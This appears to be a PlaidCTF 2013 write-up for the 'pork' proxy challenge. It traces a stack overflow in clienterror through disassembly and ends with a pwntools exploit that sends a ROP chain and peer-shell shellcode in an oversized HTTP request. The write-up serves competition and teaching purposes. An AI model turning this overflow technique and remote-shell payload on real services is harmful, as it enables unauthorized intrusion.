pork - PlaidCTF 2013

Posted by anonymous on 12 May 2013

It was fairly obvious it was a proxy from strings

Not found
GET %s HTTP/1.0
Host: %s
%s http://%s %s
Proxy does not implement this method

The third argument in sscanf could be ooverflown since read is called with 0x800 byes and the buffer is only 0x400.

sub    esp,0x24f0
lea    ecx,[esp+0x1c24]
mov    DWORD PTR [esp+0x10],ecx

However as we can see the stack is large enough and the space above is writen to before use.

A quick glance at clienterror reveals that it should be possible to make a overflow here if we can control one of the three inputs. But in the main function, we have no luck.

mov    DWORD PTR [esp+0xc],0x8049b34
mov    DWORD PTR [esp+0x8],0x8049b59
mov    DWORD PTR [esp+0x4],0x8049b69
mov    eax,DWORD PTR [esp+0x24b8] ; socket
mov    DWORD PTR [esp],eax
call   8048d16 <clienterror>

Onwards to serve()! call to clienterror with an argument? Check.

lea    eax,[ebp-0x1894]
mov    DWORD PTR [esp+0xc],eax
mov    DWORD PTR [esp+0x8],0x8049ab8
mov    DWORD PTR [esp+0x4],0x8049ac2
mov    eax,DWORD PTR [ebp+0x8] ;socket
mov    DWORD PTR [esp],eax
call   8048d16 <clienterror>

This code is called if gethostnameby_r fails.

What is left is the ropping. pwntools to the rescue!

#!/usr/bin/env python

from pwn import *

context('i386', 'linux', 'ipv4')

#HOST = ''
HOST = ''
PORT = 33227

r = remote(HOST, PORT, timeout = None)
p = rop.ROP('./pork-8c2fdf93e211c7358e0192a24bc951843da672b1')

buf = p.sections['.bss'] + ord('A')
shellcode = asm(shellcode.findpeersh())

p.call('read', [4, buf+5*4, len(shellcode)])

pivot_rop = p.flush()

for n,c in enumerate(pivot_rop):
    p.call('sprintf', [buf+n, p.search(c).next()])


rop_chain = p32(p._gadgets['popret'][3][0])*4 + p.generate()

r.send('GET http://' + 'A'.ljust(1024, 'A') + rop_chain + ' HTTP/1.1\r\n')